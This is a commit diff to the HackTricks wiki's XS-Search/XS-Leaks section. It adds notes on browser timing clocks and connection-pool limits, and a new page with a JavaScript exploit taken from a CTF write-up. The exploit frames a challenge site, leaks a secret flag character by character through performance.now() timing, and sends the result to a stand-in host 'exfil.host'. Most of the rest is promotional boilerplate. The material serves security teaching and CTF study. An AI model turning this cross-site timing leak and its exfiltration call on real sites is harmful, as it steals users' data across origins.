GitBook: [#3725] No subject
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* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
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* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
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* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
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* [performance.now example](pentesting-web/xs-search/performance.now-example.md)
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* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
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* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
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* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
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@ -10,13 +10,13 @@ Get Access Today:
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -65,7 +65,7 @@ In order to distinguish between the 2 states of the vulnerable page several thin
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Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
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**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\
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There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others\*\*.\*\*\
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There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others.\
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For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
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## XSinator
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@ -112,8 +112,12 @@ In this case if `example.com/404` is not found `attacker.com/?error` will be loa
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* **Inclusion Methods**: HTML Elements
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* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
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* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
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* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
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* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
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* **Summary:** The **** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms.
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* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in:
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{% content-ref url="xs-search/performance.now-example.md" %}
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[performance.now-example.md](xs-search/performance.now-example.md)
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{% endcontent-ref %}
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### unload/beforeunload Timing
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@ -279,7 +283,7 @@ For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
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* **Inclusion Methods**: JavaScript Requests
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* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
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* **More info**: 
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* **More info**:
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* **Summary:** It's like the previous technique but instead of using all the sockets, Google **Chrome** puts a limit of **6 concurrent request to the same origin**. If we **block 5** and then **launch a 6th** request we can **time** it and if we managed to make the **victim page send** more **requests** to the same endpoint to detect a **status** of the **page**, the **6th request** will take **longer** and we can detect it.
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##
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@ -927,13 +931,13 @@ More generic methods:
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -0,0 +1,69 @@
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# performance.now example
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
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```javascript
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const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
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async function check(flag) {
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let w = frame.contentWindow;
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w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
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await sleep(1);
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w.postMessage({'op': 'search', 'payload': flag}, '*');
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let t1 = performance.now();
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await sleep(1);
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return (performance.now() - t1) > 200;
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}
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async function main() {
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let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
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window.frame = document.createElement('iframe');
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frame.width = '100%';
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frame.height = '700px';
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frame.src = 'https://challenge.jsapi.tech/';
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document.body.appendChild(frame);
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await sleep(1000);
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let flag = 'nite{';
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while(1) {
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for(let c of alpha) {
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let result = await Promise.race([
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check(flag + c),
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new Promise((res) => setTimeout(() => { res(true); }, 300))
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]);
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console.log(flag + c, result);
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if(result) {
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flag += c;
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break;
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}
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}
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new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
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}
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}
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document.addEventListener('DOMContentLoaded', main);
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```
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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